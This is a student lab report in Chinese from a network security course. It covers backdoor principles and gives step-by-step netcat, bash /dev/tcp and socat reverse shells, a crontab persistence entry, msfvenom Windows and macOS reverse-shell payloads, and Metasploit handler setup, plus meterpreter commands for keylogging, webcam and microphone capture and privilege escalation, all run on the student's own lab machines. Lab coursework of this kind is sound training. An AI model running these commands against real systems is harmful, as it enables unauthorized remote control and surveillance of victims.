20165229 NetSec Exp2后门原理与实践
20165229 NetSec Exp2后门原理与实践
一、基础问题
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 打开一个挂码网页,会自动下载安装并执行木马程序,在系统中留下后门。
- 将不明来源的u盘或硬盘接入个人电脑。
- 在非官方网站下载软件,可能绑有可执行文件。
2.例举你知道的后门如何启动起来(win及linux)的方式?
- Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
- Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode
3.Meterpreter有哪些给你映像深刻的功能?
- 植入后门后可以控制被控主机的shell,获取主机的录音录像、截图、键盘输入等。
4.如何发现自己有系统有没有被安装后门?
- 安装杀毒软件,事实监控电脑,定时杀毒。
- 防火墙打开,看有没异常窗口。
二、常用后门工具。
1.natcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Mac: 系统自带,"man nc",查看其使用说明。
实验步骤
1.Mac获取Linux Shell
(1).前期准备,获得主机ip mac ifconfig
图1
(2).主控端/服务端MAC运行指令如下,5229是nc监听的端口号。
nc -l 5229
(3).受控端/客户机运行bash -i >& /dev/tcp/192.168.199.101
(4).Mac主机显示Linux命令行提示符,并可运行任何Linux指令。
图2
2.Linux获取Mac Shell
(1)Linux启动监听
nc -l -p 5229
(2).Mac连接Linux
bash -i >& /dev/tcp/192.168.20.154/5229 0>&1
(3).LInux获取Mac Shell
图3
3.使用nc传输文件
(1)使用nc -l 5229
监听5229端口
(2).Kali反弹连接Mac的5229
端口。nc 192.168.199.101 5229
(3).连接成功,传输消息。
图4
图5
三、Meterpreter
后门就是一个程序。
-
传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
基本功能(基本的连接、执行指令),
扩展功能(如搜集用户信息、安装服务等功能),- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
-
典型的平台包括有
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
实验内容
任务一:使用netcat获取主机操作Shell,cron启动。
(1)在Mac的环境下,监听5229
端口.
(2).在Kali的环境下,用crontab -e
制定编辑一条定时任务
(3).在最后一行添加03 * * * * /bin/netcat 192.168.199.101 5229 -e /bin/sh
意思是在每个小时的第3分钟反向连接Windows主机的5229端口
(4)到达时间后在Mac输入ls
。
图6
任务二:使用socat获取主机操作Shell, 任务计划启动
- socat简介:
- socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。
- socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。
- socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。
将mac作为受害机,Kali作为攻击机
实验步骤
(1).在Mac上下载socat,终端输入命令brew install socat
图7
(2).在受害机上执行socat tcp-l:5229system:bash,pty,stderr
指令,进行端口转发/
(3).在攻击机上执行socat - tcp:192.168.199.101:5229
获取受害机shell操作权(Ip为受害机IP)。
图8
任务三:使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
(1)在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.218 LPORT=5229 -f exe > 20165229_backdoor.exe
,生成一个后门程序,这里的IP地址应该是攻击机的IP,也是就是Kali的ip。
图9
(2).我通过ncat.exe -l 5229 > 2016529_backdoor.exe
无法连接,就直接将可执行文件复制到了Windows中。
(3).在Kali中使用命令msmsfconsole
指令进入msf控制台。
(4).接着使用一连串命令进行监听。
use exploit/multi/handler //handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.199.218 //这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5229 //应该和生成的后门端口相同
exploit //开始监听
图10
(5).在Windows中运行后门。
图11
(6).监听成功
四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
在监听成功后,可以通过一连串的命令来控制Windows。
record_mic //截获一段音频,-d选项设置录制时间
webcam_snap//使用摄像头拍照
keyscan_start //监听键盘输入
keyscan_dump //读取键盘输入
screenshot //进行截屏
getuid//查看当前用户
getsystem //指令进行提权
webcam stream //摄像头进行录像
sysinfo //获得目标系统信息,机器名,操作西厅等
ps //获得受害机上进程信息
功能实在太强大了,我就随意po几个图。
监听键盘输入
获取一段录音
使用摄像头拍照
三、实验中遇到的问题
在前面任务一二,我都用Mac与Linux完美的配合,但到任务三就卡住了,mac无法运行.exe
文件,于是我在网上看了很多教程,想把它做出来。
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
sudo ./install
这是生成mac可执行文件的指令,但是传输过程中不会弹传输成功,虽然能有文件,也不能运行,实在无计可施,就用了虚拟机。希望老师给点指点。
四、实验总结
本次试验非常有趣,收获颇丰,在拍照的瞬间感觉自己像个黑客,实验过程很艰辛,但是最后还是很有成就感,以后应该努力学习网络攻防技术,可以更好的了解黑客入侵的过程。